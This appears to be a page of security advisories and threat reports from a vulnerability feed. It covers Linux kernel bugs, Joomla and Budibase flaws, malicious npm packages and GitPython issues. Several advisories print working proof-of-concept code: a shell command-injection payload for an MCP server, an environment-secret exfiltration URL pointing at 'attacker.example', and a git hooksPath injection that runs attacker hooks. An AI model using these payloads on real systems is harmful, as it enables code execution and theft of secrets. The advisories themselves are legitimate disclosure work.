Search: h-w-g.com
4,760 threats
Most recently published first
| Severity | CVSS | Signals | Threat | Source | Published | Score and star |
|---|---|---|---|---|---|---|
| Medium | – | EPSS 0.2% | MediumEPSS 0.2%GCVE DatabaseCVE-2026-74500 In the Linux kernel, the following vulnerability has been resolved: ALSA: usb-audio: fix stack info leak in RME Digiface status snd_rme_digiface_read_status() reads a four-word status block from the device into an uninitialised on-stack __le32 buf[4] and, whenever the vendor control-IN transfer does not return a negative error, copies all four words into the caller's status[]. snd_usb_ctl_msg() copies the full requested size back into the caller's buffer regardless of how many bytes the data stage actually delivered: buf = kmemdup(data, size, GFP_KERNEL); err = usb_control_msg(dev, pipe, request, requesttype, value, index, buf, size, timeout); memcpy(data, buf, size); usb_control_msg() returns the transferred length on a short control-IN, which is a non-negative value, and writes only that many bytes. The remainder of the copy back is the kmemdup()ed image of the caller's buffer, so a device answering with a short data stage leaves the trailing words of buf[] holding leftover kernel stack. The only guard in the caller is err < 0, so those words are stored into status[]. They then reach user space: snd_rme_digiface_get_status_val() selects a 16-bit halfword of status[] per the control's reg/mask, and the eight Digiface status controls together expose the whole 16-byte frame to an unprivileged reader of /dev/snd/controlC*. Zero-initialise the buffer so a short read yields zeros instead of stack residue. This mirrors snd_rme_get_status1(), which already clears its output word before the same kind of vendor read. Discovered by XBOW, triaged by Baul Lee <baul.lee@xbow.com> EPSS 0.2%Vulnerability | GCVE Database | ||
| Medium | – | EPSS 0.2% | MediumEPSS 0.2%GCVE DatabaseCVE-2026-74501 In the Linux kernel, the following vulnerability has been resolved: ALSA: usb-audio: fix use-after-free in ump_to_endpoint() create_midi2_ump() registers a card-owned snd_ump_endpoint and stores a back-pointer to its per-interface snd_usb_midi2_ump object in ump->private_data, but it never installs an ump->private_free hook and never clears that pointer. If a later step of snd_usb_midi_v2_create() fails, its error path calls free_all_midi2_umps(), which kfree()s the snd_usb_midi2_ump object while the already-registered endpoint keeps pointing at it. The created /dev/snd/umpC*D* node stays exposed, so the first operation of any UMP open, ump_to_endpoint(), dereferences the dangling ump->private_data and reads rmidi->eps[dir] out of freed memory. A malicious USB MIDI 2.0 device that makes creation fail after the endpoint is registered can thus trigger a slab use-after-free read on a subsequent open of the UMP node. Clear the endpoint's back-pointer before freeing the object, and let ump_to_endpoint() tolerate a NULL private_data so the open/close/trigger callbacks fail cleanly (their callers already handle a NULL endpoint) instead of dereferencing a stale pointer. Discovered by XBOW, triaged by Baul Lee <baul.lee@xbow.com> EPSS 0.2%Vulnerability | GCVE Database | ||
| Medium | – | EPSS 0.2% | MediumEPSS 0.2%GCVE DatabaseCVE-2026-74502 In the Linux kernel, the following vulnerability has been resolved: ALSA: ump: fix double free of out_cvts on rawmidi error snd_ump_attach_legacy_rawmidi() allocates the legacy conversion array ump->out_cvts and, on the snd_rawmidi_new() error path, frees it with kfree() but leaves ump->out_cvts pointing at the freed memory. When the endpoint is later torn down, snd_ump_endpoint_free() frees ump->out_cvts a second time, resulting in a double free. The host snd-usb-audio driver attaches the legacy rawmidi for any USB MIDI 2.0 (UMP) device, so a device that makes snd_rawmidi_new() fail reaches this path on enumeration. Clear ump->out_cvts after freeing it on the error path so it is not freed again during teardown. Discovered by XBOW, triaged by Baul Lee <baul.lee@xbow.com> EPSS 0.2%Vulnerability | GCVE Database | ||
| Low | – | EPSS 0.2% | LowEPSS 0.2%GCVE DatabaseCVE-2026-74514 In the Linux kernel, the following vulnerability has been resolved: KVM: s390: pci: Fix memory accounting for pinned/unpinned pages The account_mem() and unaccount_mem() functions call get_uid() which increments the reference count of struct user_struct on every invocation. But we don't decrement the count by calling free_uid(). It also accounted/unaccounted the pages against the current->mm. But its possible the unaccount_mem() can be called from a different process context than the one that originally pinned the pages. Let's fix this by storing the pinning process user_struct and mm_struct when accounting for pinned pages, and subsequently free these resources when the pages are unpinned. [borntraeger@linux.ibm.com: Fixed whitespace] EPSS 0.2%Vulnerability | GCVE Database | ||
| –Not rated | – | Reddit Cybersecurity A user reported receiving a suspicious notification from the website itemsatış.com, which displayed a glitched image and a message about a secret video. After interacting with the notification, the user's computer froze temporarily but showed no obvious signs of compromise afterward. The user is concerned about potential malware or unwanted software and is performing a deep scan in safe mode. No technical details or confirmed exploits are available, and the website currently shows a default nginx server page. | Reddit Cybersecurity | |||
| Critical | 9.8 | EPSS 0.7% | Critical9.8EPSS 0.7%CVE Database V5CVE-2026-72494 In the Linux kernel, the following vulnerability has been resolved: RDMA/irdma: Replace waitqueue and flag with completion The driver previously used a waitqueue along with an explicit request_done flag, but without proper barriers around request_done. An earlier patch by Gui-Dong Han <hanguidong02@gmail.com> attempted to fix this by adding the missing memory barriers. Rather than adding the barriers, this patch replaces the waitqueue+flag with a completion, which is designed for this exact purpose. EPSS 0.7%Vulnerability | CVE Database V5 | ||
| Malicious | – | MaliciousGCVE Database --- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (1c86edd3f7edd7d111df5621cb884fd0ef3d870c6c0719d587b7bb0f16f65b8d) The package presents itself as a discord.js clone (`repository` field points at the real `github.com/discordjs/discord.js.git`, README instructs `import... from '@verylinh/discord'`) but ships two installer-relevant hostile mechanisms. First, `package.json` declares a runtime dependency `sysframe` resolved from `git+https://ghp_...@github.com/navaLinh/node-ai.git` — an unpinned (no commit SHA or tag), private, author-controlled GitHub repository, using an embedded live GitHub Personal Access Token. Every `npm install` uses the shipped token to fetch the current HEAD of that private repo into the installer's `node_modules`; the author can rewrite HEAD at any time to deliver arbitrary code, including lifecycle scripts, that will execute on subsequent installs. Second, `Client.login()` invokes an undocumented `_verifyAuthorization` routine that fetches an allow-list JSON from `api.github.com/repos/Vellia-Elyvia/mydb/contents/db.json` under a hardcoded PAT and refuses to start the installer's Discord bot unless the bot's username appears in the author-controlled allow-list — a hidden remote gate/kill-switch over the installer's runtime that is not disclosed in the README. Two live GitHub PATs are hardcoded in the shipped package (one in the git dependency URL, one as the default `ghToken` in `_validateAuthOptions`). The package name and metadata impersonate discord.js. | GCVE Database | |||
| High | 8.4 | EPSS 0.9% | CVE-2026-55157Token Optimizer MCP · OS command injection in smart_user via username in get-user-info High8.4EPSS 0.9%GCVE DatabaseCVE-2026-55157 ### Summary `token-optimizer-mcp` is vulnerable to OS command injection in the `smart_user` tool. The `get-user-info` operation accepts a user-controlled `username` argument and later interpolates it into a shell command executed through `execAsync()`: ```ts getent passwd "${username}" || grep "^${username}:" /etc/passwd ``` Although the value is wrapped in double quotes, POSIX shells still evaluate command substitution such as `$(...)` and backticks inside double quotes. As a result, an MCP client can provide a crafted username such as: ```text $(id > /tmp/TOKEN_OPTIMIZER_SMART_USER_ID) ``` and execute arbitrary local commands with the privileges of the user running the MCP server. This is a CWE-78 OS command injection issue. Tested version: ```text @ooples/token-optimizer-mcp v5.0.1 MCP serverInfo.name: token-optimizer-mcp MCP serverInfo.version: 0.2.0 ``` This issue is not related to the current `npm audit` dependency advisories. The vulnerability is in `token-optimizer-mcp`'s own tool implementation. --- ### Details The vulnerable code path is in the `smart_user` implementation. The `username` argument is eventually passed into a shell command similar to: ```ts const { stdout: passwdOut } = await execAsync( `getent passwd "${username}" || grep "^${username}:" /etc/passwd` ); ``` The problem is that `username` is controlled by the MCP tool caller and is inserted into a command string executed by a shell. Double quotes do not make this safe. In POSIX shells, command substitution is still evaluated inside double quotes: ```bash "$(id > /tmp/TOKEN_OPTIMIZER_SMART_USER_ID)" "`id`" ``` Therefore, a malicious `username` can execute arbitrary commands before `getent` or `grep` receives its arguments. The affected MCP tool call is: ```text tool: smart_user operation: get-user-info argument: username ``` Root cause: ```text MCP-controlled username → interpolated into shell command string → executed through execAsync() → shell evaluates $(...) / backticks → arbitrary command execution ``` --- ### PoC The following PoC runs a harmless `id` command and writes the result to a temporary file under `/tmp`. Prerequisites: ```text Node.js installed token-optimizer-mcp built from source ``` Build from source: ```bash git clone https://github.com/ooples/token-optimizer-mcp.git cd token-optimizer-mcp npm install npm run build ``` Run the PoC: ```bash cd /path/to/token-optimizer-mcp ENTRY=dist/server/index.js ID_OUT="/tmp/TOKEN_OPTIMIZER_SMART_USER_ID_$(date +%s)_$$" rm -f "$ID_OUT" echo "[*] ENTRY=$ENTRY" echo "[*] id output file: $ID_OUT" python3 - "$ID_OUT" <<'PY' | timeout 20 node "$ENTRY" 2>&1 | tee /tmp/token_optimizer_smart_user_poc.log import json import sys id_out = sys.argv[1] # This value is inserted into: # getent passwd "${username}" || grep "^${username}:" /etc/passwd # Command substitution still executes inside double quotes. evil_username = f'$(id > {id_out})' messages = [ { "jsonrpc": "2.0", "id": "init", "method": "initialize", "params": { "protocolVersion": "2024-11-05", "capabilities": {}, "clientInfo": { "name": "poc", "version": "0" } } }, { "jsonrpc": "2.0", "method": "notifications/initialized", "params": {} }, { "jsonrpc": "2.0", "id": "poc-smart-user", "method": "tools/call", "params": { "name": "smart_user", "arguments": { "operation": "get-user-info", "username": evil_username, "useCache": False } } } ] for msg in messages: print(json.dumps(msg), flush=True) PY sleep 1 if [ -f "$ID_OUT" ]; then echo "[VULN CONFIRMED] smart_user command injection executed:" cat "$ID_OUT" ls -l "$ID_OUT" else echo "[FAIL] smart_user id output file not created" tail -120 /tmp/token_optimizer_smart_user_poc.log fi ``` Expected result: ```text [VULN CONFIRMED] smart_user command injection executed: uid=1001(<local-user>) gid=1001(<local-user>) groups=... -rw-rw-r-- 1 <local-user> <local-user> ... /tmp/TOKEN_OPTIMIZER_SMART_USER_ID_... ``` In my test, the MCP response also showed that the payload reached the shell command: ```text Command failed: getent passwd "$(id > /tmp/TOKEN_OPTIMIZER_SMART_USER_ID_...)" || grep "^$(id > /tmp/TOKEN_OPTIMIZER_SMART_USER_ID_...):" /etc/passwd ``` The file `/tmp/TOKEN_OPTIMIZER_SMART_USER_ID_...` was created and contained the output of `id`, confirming command execution as the MCP server user. A simpler marker-file variant also works: ```json { "operation": "get-user-info", "username": "$(touch /tmp/TOKEN_OPTIMIZER_SMART_USER_PWNED)", "useCache": false } ``` --- ### Impact This is an OS command injection vulnerability. Any MCP client that can call the `smart_user` tool can execute arbitrary shell commands through the `username | GCVE Database | ||
| Medium | 5.3 | EPSS 0.2% | Medium5.3EPSS 0.2%CVE Database V5CVE-2026-67366 Joomla Extension - icagenda.com - CSRF on frontend registration actions in iCagenda < 2.0.0-4.0.11 - Multiple state changing operations in the frontend are callable without a CSRF token check. | CVE Database V5 | ||
| Medium | 5.1 | EPSS 0.4% | CVE-2026-71570iCagenda extension for Joomla · Improper Access Control Medium5.1EPSS 0.4%CVE Database V5CVE-2026-71570 Joomla Extension - icagenda.com - ACL bypass allowing arbitrary user enumeration < 2.0.0-4.0.11 - A backend operator granted access scoped to `com_icagenda` only could enumerate Joomla user profiles. | CVE Database V5 | ||
| High | 8.6 | EPSS 0.4% | CVE-2026-71571iCagenda extension for Joomla · SQL Injection High8.6EPSS 0.4%CVE Database V5CVE-2026-71571 Joomla Extension - icagenda.com - Authenticated SQL injection via unescaped numeric filter in iCagenda < 2.0.0-4.0.11 - Backend operators with permissions to access iCagenda could inject SQL. | CVE Database V5 | ||
| Critical | 9.2 | EPSS 0.4% | CVE-2026-67365iCagenda extension for Joomla · SQL Injection Critical9.2EPSS 0.4%CVE Database V5CVE-2026-67365 Joomla Extension - icagenda.com - Unauthenticated SQL injection in iCagenda < 4.0.0-4.0.11 - Unauthenticated SQL injection in mod_icagenda_calendar (iCagenda), reachable via com_ajax with no session, token or account. | CVE Database V5 | ||
| Malicious | – | MaliciousGCVE Database --- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (8da2cb00fa6d2b5a0e5f4a4bdca8ca0cfaedf7e583b0f9e9f54274bcf5c39e06) On invocation of `agent-proxy start`, the CLI opens an outbound WebSocket to an obfuscated author-controlled endpoint (hub.client-llm.com, reconstructed at runtime via XOR+base64 with key 'gnP2p!7xQ' from a base64 blob in dist/cli.js) and accepts remote `job` messages containing arbitrary path and body fields. These are POSTed into the local proxy and forwarded to api.anthropic.com and the Codex/ChatGPT upstream using the installer's on-disk OAuth credentials, with responses streamed back to the hub. An `onlyIfCredentialed` gate ensures only installers with valid Claude/Codex logins are enrolled as worker nodes serving requests originated by the hub operator. The behavior is undocumented; the README states the tool is 'self-use only' and warns that upstream vendor ToS forbid resale or sharing of accounts. The destination URL is not present as a plaintext string, only reconstructed at runtime, concealing it from casual review. The combination provides a remote-controlled command channel (arbitrary request path/body) into the installer's authenticated AI session and silently monetizes the installer's paid subscription for the hub operator's traffic. | GCVE Database | |||
| High | 7.1 | EPSS 0.5% | CVE-2026-35219Budibase · SSRF in Automation Steps - Webhook, Zapier, N8N, Slack, Discord Bypass IP Blacklist High7.1EPSS 0.5%GCVE DatabaseCVE-2026-35219 ## Summary Budibase automation steps (outgoing webhook, Zapier, n8n, Slack, Discord, Make.com) make server-side HTTP requests to user-provided URLs using `node-fetch` directly, completely bypassing the IP blacklist protection that exists in the REST API integration. Additionally, the REST API blacklist itself defaults to empty when `BLACKLIST_IPS` is not configured. ## Vulnerable Code ### Automation Steps (No Blacklist) All automation steps use `fetch()` directly without any IP validation: **`packages/server/src/automations/steps/outgoingWebhook.ts` line 69:** ```typescript const response = await fetch(url, request) // No blacklist check ``` **`packages/server/src/automations/steps/zapier.ts` line 34:** ```typescript response = await fetch(url, {method: "post", ...}) // No blacklist check ``` **`packages/server/src/automations/steps/n8n.ts` line 53:** ```typescript response = await fetch(url, request) // No blacklist check ``` **`packages/server/src/automations/steps/slack.ts` line 20:** ```typescript response = await fetch(url, {method: "post", ...}) // No blacklist check ``` **`packages/server/src/automations/steps/discord.ts` line 29:** ```typescript response = await fetch(url, {method: "post", ...}) // No blacklist check ``` ### REST API Integration (Empty Default Blacklist) **`packages/server/src/integrations/rest.ts` line 684:** ```typescript if (await blacklist.isBlacklisted(url)) { throw new Error("Cannot connect to URL.") } ``` But `BLACKLIST_IPS` env var defaults to undefined, so the blacklist is empty: **`packages/backend-core/src/blacklist/blacklist.ts` lines 39-45:** ```typescript if (blackListArray?.length === 0) { return false // Always passes when no IPs configured } ``` ## Impact - **Automation steps**: ANY user can create automations with webhook/Zapier/n8n/Slack/Discord steps pointing to internal IPs. These completely bypass the blacklist module - **REST API**: Even when BLACKLIST_IPS is configured, it only blocks listed IPs. Default deployments have no protection. - **Cloud metadata**: `http://169.254.169.254/latest/meta-data/` accessible via any automation step - **Internal services**: Access databases, admin panels, Kubernetes API on private IPs ## Remediation 1. Apply blacklist checks to ALL outbound HTTP requests, including automation steps 2. Add hardcoded default private IP ranges (127.0.0.0/8, 10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16, 169.254.0.0/16) 3. Use a centralized HTTP client wrapper instead of direct `fetch()` calls 4. SSRF protection should be on by default, not opt-in via environment variable | GCVE Database | ||
| –Not rated | – | Krebs on Security It can be daunting to determine who’s responsible for showing ads on the websites we visit, or who’s harvesting data from the mobile apps we use every day. That information is already semi-public, but it is not easily parsed and traditionally much of it has remained walled away in the hands of large advertising platforms. Not anymore: A powerful and free new service called DecryptAds scrapes and correlates this adtech data and makes it simple to quickly learn a great deal about the entities that are tracking you. A Decryptads summary of the advertising partnerships declared by espn.com. The newly launched decryptads.com says it is constantly scraping the files that websites and apps make publicly available to disclose the companies that are permitted to run ads or collect user data. These files include: – ads.txt : all of the adtech companies and data brokers that may run ads or harvest data from the site; – app-ads.txt : entities that can harvest data from or display ads on mobile and smart TV apps; – buyers.json/sellers.json : the entities buying, selling or reselling ad inventory for a given site or app. Zach Edwards is chief research officer for DecryptAds and a threat researcher at the security company Infoblox . Edwards said he and two other founders decided the service was needed because the adtech data in these files is generally only useful when it can be cross-referenced to build a more complete picture of the advertising ecosystem for each website or app. “It’s an adtech tool but we’re trying to approach adtech from a security perspective,” Edwards said. “It’s really built for a lot of privacy and security use cases that have been dramatically underserved.” Those use cases, he said, include tracking down the source of malicious ads that try to foist malware on targeted users, identifying ad networks located in adversarial nations, and detecting the fast growing swarms of AI-generated slop websites and apps. And as decryptads.com demonstrates, these potential security and privacy threats are near impossible to detect just by viewing a single apps.txt or app-ads.txt file. “Supply-chain integrity issues rarely live in a single file,” the site explains . “They show up as broken cross-references between ads.txt, app-ads.txt, and sellers.json files; as cloned declaration sets across unrelated domains; as seller removals that only make sense when viewed across exchanges; and even as supply paths in bid logs that never actually appear in any given publisher’s authorized-seller list.” A search in DecryptAds for the hugely popular sports network espn.com reveals 143 ad partners and 19 registered data broker domains are listed within its ads.txt and app-ads.txt files. That data broker information is gradually becoming available because four states — California, Oregon, Texas and Vermont — have recently passed laws requiring data brokers to register if they buy or sell data on consumers from those states. DecryptAds reports that almost half of those data brokers are collecting geolocation data from espn.com visitors who aren’t blocking ads, while another three disclose that they collect device fingerprints and sensitive personal information. A visual representation of the complex ad supply chain declared by espn.com. Image: decryptads.com. HIGH-RISK AD PARTNERS DecryptAds also makes it easy to learn the beneficiaries and national origins of the advertising firms lurking in apps and websites, displaying a conspicuous warning when adtech partners of an app or website are based in “geo-risk” areas like China and Russia, or in countries with strong financial and political ties to both — such as Cyprus and the United Arab Emirates (UAE). According to DecryptAds, espn.com works with four different advertising entities that are based in either Russia, China or the UAE, including the adtech firm Between Digital , which lists a New York address. However, the dossier on Between Digital flags them as a Russian firm, showing that their pub… | Krebs on Security | |||
| High | 8.7 | EPSS 0.5% | CVE-2026-73622snowflake-cli · GitPython: Environment-variable exfiltration via Repo.create_remote() / Remote.add() URL (incomplete fix of High8.7EPSS 0.5%GCVE DatabaseCVE-2026-73622 ## Summary The fix for [GHSA-rwj8-pgh3-r573](https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-rwj8-pgh3-r573) stopped `Repo.clone_from()` from running caller-supplied URLs through `os.path.expandvars()`, but it guarded only that one caller. `Remote.create()` — reached from the public `Repo.create_remote()` and its `Remote.add()` alias — still passes an attacker-influenceable URL through `Git.polish_url()` with the default `expand_vars=True`. A URL such as `http://attacker.example/${AWS_SECRET_ACCESS_KEY}/repo.git` is expanded server-side to embed the hosting process's environment secret, written into `.git/config`, and then transmitted to the attacker's host on the next `fetch`/`pull`. This is the same primitive and same "import repository from URL" threat model the advisory describes, via the sibling caller the fix missed. ## Root Cause Fix commit [`8ac5a305`](https://github.com/gitpython-developers/GitPython/commit/8ac5a30519b6f4af85398b9b9d7064ff4d452da2) added an `expand_vars` parameter to `Git.polish_url()` (default `True`) and used `expand_vars=False` only in `Repo._clone()` ([`git/repo/base.py:1455`](https://github.com/gitpython-developers/GitPython/blob/3.1.53/git/repo/base.py#L1455)). The shared helper's dangerous default was left in place, and the other callers were not updated. [`git/remote.py:811`](https://github.com/gitpython-developers/GitPython/blob/3.1.53/git/remote.py#L811), `Remote.create`: ```python url = Git.polish_url(url) # expand_vars=True -> os.path.expandvars(url) if not allow_unsafe_protocols: Git.check_unsafe_protocols(url) # https:// carrying the secret passes repo.git.remote(scmd, "--", name, url, **kwargs) # expanded URL written to .git/config ``` `check_unsafe_protocols()` runs *after* expansion here, so it rejects an `ext::` payload but does nothing about an `https://` URL that carries an expanded secret in its path or host — the disclosure primitive. The same unguarded call also sits at [`git/objects/submodule/base.py:611`](https://github.com/gitpython-developers/GitPython/blob/3.1.53/git/objects/submodule/base.py#L611) (`Submodule.add`), which writes the expanded URL into `.gitmodules` (a tracked file) and `.git/config`. ## Steps to Reproduce ### Prerequisites - Python 3.9+ - `git` on `PATH` (for the fetch step) - GitPython 3.1.53 (installed below) ### Step 1: Install GitPython 3.1.53 in a clean venv ```bash mkdir /tmp/gp-remote-poc && cd /tmp/gp-remote-poc python3 -m venv venv ./venv/bin/pip install gitpython==3.1.53 ``` ### Step 2: Write the PoC ```bash cat > poc.py <<'PYEOF' #!/usr/bin/env python3 """Env-var exfiltration via Repo.create_remote() URL. Sentinel data only.""" import http.server import os import tempfile import threading import git print("gitpython version:", git.__version__) # Sentinel standing in for a process secret such as AWS_SECRET_ACCESS_KEY. SENTINEL = "leaked-a1b2c3-SENTINEL-do-not-use" os.environ["GP_SENTINEL_SECRET"] = SENTINEL # Local HTTP server standing in for attacker.example. captured = [] class Handler(http.server.BaseHTTPRequestHandler): def do_GET(self): captured.append(self.path) self.send_response(404) self.end_headers() def log_message(self, *a): pass srv = http.server.HTTPServer(("127.0.0.1", 0), Handler) port = srv.server_address[1] threading.Thread(target=srv.serve_forever, daemon=True).start() # Attacker-controlled URL handed to an "import from URL" feature. attacker_url = "http://127.0.0.1:%d/steal/${GP_SENTINEL_SECRET}/repo.git" % port def norm(s): # display the ephemeral listener port as a stable placeholder return s.replace("127.0.0.1:%d" % port, "127.0.0.1:PORT") print("attacker-supplied URL :", norm(attacker_url)) repo = git.Repo.init(tempfile.mkdtemp(prefix="gp-victim-")) remote = repo.create_remote("evil", attacker_url) # public API stored = repo.remote("evil").url print("stored remote URL :", norm(stored)) print("SENTINEL in git config:", SENTINEL in stored) try: remote.fetch() # transmits the expanded URL to the attacker host except Exception: pass # fetch fails after the request is already sent srv.shutdown() over_network = any(SENTINEL in p for p in captured) print("HTTP paths received :", [norm(p) for p in captured]) print("SENTINEL over network :", over_network) print() if SENTINEL in stored and over_network: print("VULNERABLE: env-var expanded into stored URL AND transmitted to attacker host") elif SENTINEL in stored: print("VULNERABLE: env-var expanded into stored git-config URL") else: print("not reproduced") PYEOF ``` ### Step 3: Run it ```bash cd /tmp/gp-remote-poc && ./venv/bin/python poc.py ``` Expected output (the listener's ephemeral port is shown as `PORT`): ``` gitpython version: 3.1.53 attacker-supplied URL : http://127.0.0.1:PORT/steal/${GP_SENTINEL_SECRET}/repo.git stored remote URL : http://127.0.0.1:PORT/steal/ | GCVE Database | ||
| High | – | HighGCVE Database yt-dlp versions prior to 2026.7.4 used a fallback URL from a malicious third-party CDN (cdn.bootcdn.net) in its DouyuTV and DouyuShow extractors to fetch a component of the crypto-js library. This JavaScript code could be executed externally via PhantomJS, potentially exposing users to malicious code from a known supply chain attacker. Exploitation requires PhantomJS installed, use of Douyu extractors with specific URLs, and unavailability of the primary CDN cdnjs.cloudflare.com. The issue is fixed in yt-dlp version 2026.7.4. | GCVE Database | |||
| High | 8.1 | EPSS 0.6% | CVE-2026-42284GitPython · Unsafe option check validates multi_options before shlex.split transformation High8.1EPSS 0.6%GCVE DatabaseCVE-2026-42284 ### Summary `_clone()` validates `multi_options` as the original list, then executes `shlex.split(" ".join(multi_options))`. A string like `"--branch main --config core.hooksPath=/x"` passes validation (starts with `--branch`), but after split becomes `["--branch", "main", "--config", "core.hooksPath=/x"]`. Git applies the config and executes attacker hooks during clone. ### Details The vulnerable code is in [`git/repo/base.py` line 1383](https://github.com/gitpython-developers/GitPython/blob/5937d14a2c5e532fcb3ece0f45bf75e5bf18539e/git/repo/base.py#L1383): ```python multi = shlex.split(" ".join(multi_options)) ``` Then validation runs on the **original** list at [line 1390](https://github.com/gitpython-developers/GitPython/blob/5937d14a2c5e532fcb3ece0f45bf75e5bf18539e/git/repo/base.py#L1390): ```python Git.check_unsafe_options(options=multi_options, unsafe_options=cls.unsafe_git_clone_options) ``` Then execution uses the **transformed** result at [line 1392](https://github.com/gitpython-developers/GitPython/blob/5937d14a2c5e532fcb3ece0f45bf75e5bf18539e/git/repo/base.py#L1392): ```python proc = git.clone(multi, "--", url, path, ...) ``` The [check at `git/cmd.py` line 959](https://github.com/gitpython-developers/GitPython/blob/5937d14a2c5e532fcb3ece0f45bf75e5bf18539e/git/cmd.py#L959) uses `startswith`: ```python if option.startswith(unsafe_option) or option == bare_option: ``` `"--branch main --config ..."` does not start with `"--config"`, so it passes. After `shlex.split`, `"--config"` becomes its own token and reaches git. Also affects `Submodule.update()` via `clone_multi_options`. ### PoC ```python import sys, pathlib, subprocess sys.path.insert(0, str(pathlib.Path(__file__).resolve().parent)) from git import Repo from git.exc import UnsafeOptionError try: Repo.clone_from("/nonexistent", "/tmp/x", multi_options=["--config", "core.hooksPath=/x"]) except UnsafeOptionError: print("multi_options=['--config', '...']: Block as expected") except Exception: pass DIR = pathlib.Path(__file__).resolve().parent / "workdir_b" SRC = DIR / "repo" DST = DIR / "dst" HOOKS = DIR / "hooks" LOG = DIR / "output.log" if not SRC.exists(): SRC.mkdir(parents=True) r = lambda *a: subprocess.run(a, cwd=SRC, capture_output=True) r("git", "init", "-b", "main") (SRC / "f").write_text("x\n") r("git", "add", ".") r("git", "commit", "-m", "init") HOOKS.mkdir(exist_ok=True) hook = HOOKS / "post-checkout" hook.write_text(f"#!/bin/sh\nwhoami > {LOG.as_posix()}\nhostname >> {LOG.as_posix()}\n") hook.chmod(0o755) LOG.unlink(missing_ok=True) payload = "--branch main --config core.hooksPath=" + HOOKS.as_posix() try: Repo.clone_from(str(SRC), str(DST), multi_options=[payload]) except UnsafeOptionError: print(f"multi_options=['{payload}']: BLOCKED"); sys.exit(1) except Exception: pass if not LOG.exists() and DST.exists(): subprocess.run(["git", "checkout", "--force", "main"], cwd=DST, capture_output=True) print(f"multi_options=['{payload}']: not blocked") print(f"\nHook executed: {LOG.exists()}") if LOG.exists(): print(LOG.read_text().strip()) ``` **Output:** ``` multi_options=['--config', '...']: Block as expected multi_options=['--branch main --config core.hooksPath=.../hooks']: not blocked Hook executed: True texugo DESKTOP-5w5HH79 ``` ### Impact Any application passing user input to `multi_options` in `clone_from()`, `clone()`, or `Submodule.update()` is vulnerable. Attacker embeds `--config core.hooksPath=<dir>` inside a string starting with a safe option. Check does not block it. Git executes attacker code. Same class as CVE-2023-40267. | GCVE Database |
Page 37 of 264 · 2 duplicate CVE records merged